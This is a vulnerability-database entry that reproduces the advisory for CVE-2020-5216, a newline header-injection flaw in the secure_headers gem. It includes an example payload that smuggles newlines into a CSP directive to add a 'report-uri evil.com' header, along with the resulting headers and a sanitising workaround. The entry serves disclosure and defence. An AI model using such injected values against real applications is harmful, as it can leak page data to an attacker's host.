Vulnerabilities affecting this package (0)
| Vulnerability |
Summary |
Fixed by |
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This package is not known to be affected by vulnerabilities.
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Vulnerabilities fixed by this package (1)
| Vulnerability |
Summary |
Aliases |
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VCID-mr8k-d23n-e3c6
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secure_headers header injection due to newline
If user-supplied input was passed into append/override_content_security_policy_directives,
a newline could be injected leading to limited header injection.
Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy
header with the remaining value of the original string. It will continue to create new headers
for each newline.
e.g.
```
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])
```
would result in
```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
```
CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:
```
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"])
```
```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
```
Workarounds
```
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
```
|
CVE-2020-5216
GHSA-w978-rmpf-qmwg
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